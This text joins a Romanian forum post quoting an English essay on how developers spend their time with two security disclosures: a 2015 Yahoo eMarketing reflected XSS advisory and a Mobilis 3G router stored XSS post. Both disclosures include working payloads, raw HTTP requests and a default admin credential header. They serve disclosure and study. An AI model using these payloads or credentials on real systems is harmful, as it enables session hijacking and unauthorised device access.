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Am dat peste un raspuns destul de elaborat si bine construit / argumentat si m-am gandit sa il shareuiesc pentru ca poate schimba perspectiva multor useri de p-aici. ( asta daca stiu engleza, desigur ) Argh. No. We really need to stop with the current internet-penis-size mentality around algorithm skills. Yes, testing for basic algorithmic knowledge is an excellent interview shit-test to weed out people that have absolutely no business writing code, but other than that has very little to do with the job of being a software developer. You can spend all bloody day churning out bug-free code with perfect linear time complexity at laser-finger speed, but you might still be a totally shitty developer. We are not athletes or musicians that perform on stage - we are engineers. Our job is to build things. More specifically, (1) build the right things, that (2) work as expected, are (3) easily maintainable for a year or two, and (4) built within reasonable time-frames. This is sort of how I spend my time at work: 40% Talking about WHAT to build. Communication about requirements is by far the most complex, important, and time-consuming aspect of software development. This includes negotiating them, measuring success of them, preventing feature creep from entering the backlog, prioritizing work, how to evolve the architecture instead of just welding the feature on top of it, convincing your product owner that you need to deal with technical debt, and another billion things. If you don't get this right, it will fail your project no matter how good you are at the other stuff. 40% Diving through other peoples code. It is absolutely crucial to be able to absorb other peoples code correctly and quickly, so that you'll make changes that fit (1) in the architecture and (2) don't break existing functionality. It's even more important that you are able to GENERATE code that is easy to understand and absorb, or you'll be a sort of "time cancer" for the team that constantly produces more and more code that wastes more and more time for people to read and understand. I don't care if a programmer has 200 in IQ - if she neglects writing unit tests (the best kind of code documentation), he's GOING to be a detriment for the team, not an asset. 15% Hunting down existing bugs and performance bottlenecks. This has very little to do with algorithmic skills, because humans cannot "look" at 500 000 lines of code and see what is wrong. You need the skillset to methodically narrow down your suspects until you've found the offending method, which usually takes a lot of methodical patience. Once you actually find WHERE the bug/bottleneck resides, it's almost always easy to fix and doesn't require algorithmic genius. 4% Writing actual, new functionality. 1% (and I'm being generous here) Thinking about the time complexity of things. In conclusion: When interviewing, by all means, do a little bit of algorithms just to make sure that the candidate can code, but primarily look at if the person has actually gotten shit done, in a team, in the past.

Document Title: =============== Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1491 Yahoo Security ID (H1): #55395 Release Date: ============= 2015-05-07 Vulnerability Laboratory ID (VL-ID): ==================================== 1491 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers every month in more than 30 languages. (Copy of the Vendor Homepage: http://www.yahoo.com ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Yahoo eMarketing online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program) 2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program) 2015-05-06: Vendor Fix/Patch (Yahoo Developer Team) 2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program) 2015-05-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Yahoo eMarketing online service web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `id` value of the `eMarketing` module. Remote attackers are able to inject malicious script codes to client-side GET method application requests. Remote attackers are able to prepare special crafted web-links to execute client-side script code that compromises the yahoo user/admin session data. The execution of the script code occurs in same module context location by a mouse-over. The attack vector of the vulnerability is located on the client-side of the online service and the request method to inject or execute the code is GET. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Yahoo > eMarketing Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click). For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC Payload(s): "onmouseenter="confirm(document.domain) (https://marketing.tw.campaign.yahoo.net/) PoC: eMarketing ID <br/> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tr> <td align="right" width="10%" > <div class="fb-like" style="overflow: hidden; " data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)" data-layout="button_count" data-action="recommend" data-show-faces="false" data-share="true"></div> </td> <td align="left" valign="bottom" width="65%" > <span style="font-size:12px; margin: 2px; font-weight:bold; color:#4d0079">?????????? ????????</span> </td> </tr> </table> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=%22onmouseenter=%22confirm(document.domain) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[marketing.tw.campaign.yahoo.net] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Cookie[_ga=GA1.5.1632823259.1428499428; s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B; __qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Response Headers: Date[Wed, 06 May 2015 12:19:05 GMT] Server[ATS] X-Powered-By[PHP/5.3.27] Content-Type[text/html] Age[0] Connection[close] Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])] Reference(s): https://marketing.tw.campaign.yahoo.net https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/ https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id= Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable id value in the emarketing service application of yahoo. Restrict the input and disallow special chars or script code tags to prevent further injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the tw yahoo application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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########################### #Exploit Title: # Mobilis 3g mobiconnect 3G++ Stored XSS vulnerability #Date: 07/01/2015 #Author: kabanni kacily2008@gmail.com #Product web page: http://www.3G.dz/ http://www.mobilis.dz/ #Version Of software WEB_MOBILISDZMF667V1.0.0B03 #Version The firmware BD_HDW5MF667V1.0.0B01 #Version Equipment MF667-2.0.0 #Product & Service Introduction: http://www.zte.com.cn http://www.mobilis.dz/entreprises/mobiconnect.php http://www.3g.dz/fr/cle_mas/index.php?id_document=2 #Tested on: WifiSlax (Es) ########################### 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 1 ______ 0 0 .-" "-. 1 1 / HaChkerz_Dz \ =-=-=-=-=-=-=-=-=-=-=-=| 0 0 Algerian HaCker | | > Site : GDGBordj.org | 1 1 --------------- |, .-. .-. ,| > fb : @kabanni | 0 0 | )(_o/ \o_)( | > [email]kacily2008@gmail.com[/email]| 1 1 |/ /\ \| =-=-=-=-=-=-=-=-=-=-=-| 0 0 (@_ (_ ^^ _) 0X00 Team 1 1 _ ) \_______\__|IIIIII|__/_______________________ 0 0 (_)@8@8{}<________|-\IIIIII/-|________________________> 1 1 )_/ \ / 0 0 (@ `--------` 2015, 0x00 Team 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 0 Mobilis 3g mobiconnect 3G++ XSS vulnerability 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 ########################## # Sample Payload for Stored XSS: "<script>alert(0);</script> " # Solution Filter the input fields aganist to XSS attacks. # code : GET /goform/goform_get_cmd_process?cmd=%3Cscript%3Ealert%28%27happy%20new%20year%27%29%3C/script%3E HTTP/1.1 Host: 192.168.0.1 Or [url]http://m.home[/url] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ls_google_allow=1; ls_iserver_timestamp_bnc_bsaved=1414677822551; ctx1420m06d05=7b2273756363657777723a302c226c6f675f616374697665223a307d Authorization: Basic YWRtaW46YWRtaW4= Connection: keep-alive # Attack details : The variable cmd has been set to simple payload <script>alert('happy new year')</script> --==[[ Greetz To ]]==-- ############################################################################################ #0x00 , Alhack , Mr.elhdj Google , Hakim_Ghorb , Mohamed Ramaden , Team Anonymous . #Mr.Zaki ,Dr.Ben Taleb,unKnown ,Dahmani,Good_person ,Boud_Sah ,Moh_Dz ,Yass_assasine. #Amin-Biskra , Bouhlel ,Mr.Control, Najmo & All students TIC & Informatics at Msila_Msila #############################################################################################